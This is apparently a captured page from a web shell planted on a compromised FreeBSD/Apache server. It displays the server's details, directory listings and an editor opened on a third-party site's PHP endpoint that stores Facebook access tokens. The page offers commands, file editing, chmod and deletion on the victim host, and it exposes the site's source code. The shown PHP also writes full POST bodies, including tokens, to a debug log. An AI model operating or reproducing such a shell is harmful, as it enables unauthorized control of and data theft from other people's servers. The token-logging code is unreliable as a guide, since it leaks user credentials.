TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
Rest
Users
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/Rest/Users/PostFacebook.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Users; use Nette\Database\Context; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; use Tracy\Debugger; /** * Create/update user authenticate by facebook * @param ( * required = 1, * name = api_key, * type = string * ) * @param ( * required = 1, * name = id, * type = int * ) * @param ( * required = 1, * name = name, * type = string * ) * @param ( * required = 1, * name = accessToken, * type = string * ) * @author Jan Pospisil */ class PostFacebook extends \Nette\Object implements IPresenter { private $connection; private $apiKeys; public function __construct(Context $context){ $this->connection = $context; } public function setApiKeys(array $keys){ $this->apiKeys = $keys; } public function run(IParametrs $parameters, Response $response) { $apiKey = $parameters->get('api_key'); if(!$apiKey) throw new MissingRequiredParameterException('Parameter api_key is required.'); $id = $parameters->post('id'); $name = $parameters->post('name'); $accessToken = $parameters->post('accessToken'); Debugger::log(print_r($_POST, TRUE), 'post'); if(!$id) throw new MissingRequiredParameterException('Parameter id is required.'); if(!$name) throw new MissingRequiredParameterException('Parameter name is required.'); if(!$accessToken) throw new MissingRequiredParameterException('Parameter accessToken is required.'); if(!in_array($apiKey, $this->apiKeys)) throw new BadRequestException('Invalid api key parameter.'); $userRow = $this->connection->table('user')->where('facebook_id', $id)->fetch(); $entry = array( 'facebook_id' => $id, 'username' => $name, 'facebook_access_token' => $accessToken ); if(!$userRow){ $entry['create_from'] = 'facebook'; $this->connection->table('user')->insert($entry); } else { $userRow->update($entry); } $userRow = $this->connection->table('user')->where('facebook_id', $id)->fetch(); $response->data = array( 'id' => $userRow->facebook_id, 'username' => $userRow->username, 'accessToken' => $userRow->facebook_access_token ); } }
Crotin
Name
Size
Permissions
Modified
User/Group
User.php
1499
0644
2016-01-14 22:08:37
Unknown/Unknown
ForgottenPassword.php
3131
0644
2016-01-11 22:55:22
Unknown/Unknown
ResetPassword.php
3062
0644
2016-01-11 22:55:21
Unknown/Unknown
Account
-
0755
2016-01-11 22:58:16
Unknown/Unknown
Users.php
1491
0644
2016-01-15 10:19:48
Unknown/Unknown
PostFacebook.php
2369
0644
2016-02-27 10:21:45
Unknown/Unknown
CreateRequest.php
2881
0644
2016-01-11 22:55:22
Unknown/Unknown
FindUsername.php
1344
0644
2016-01-11 22:55:22
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin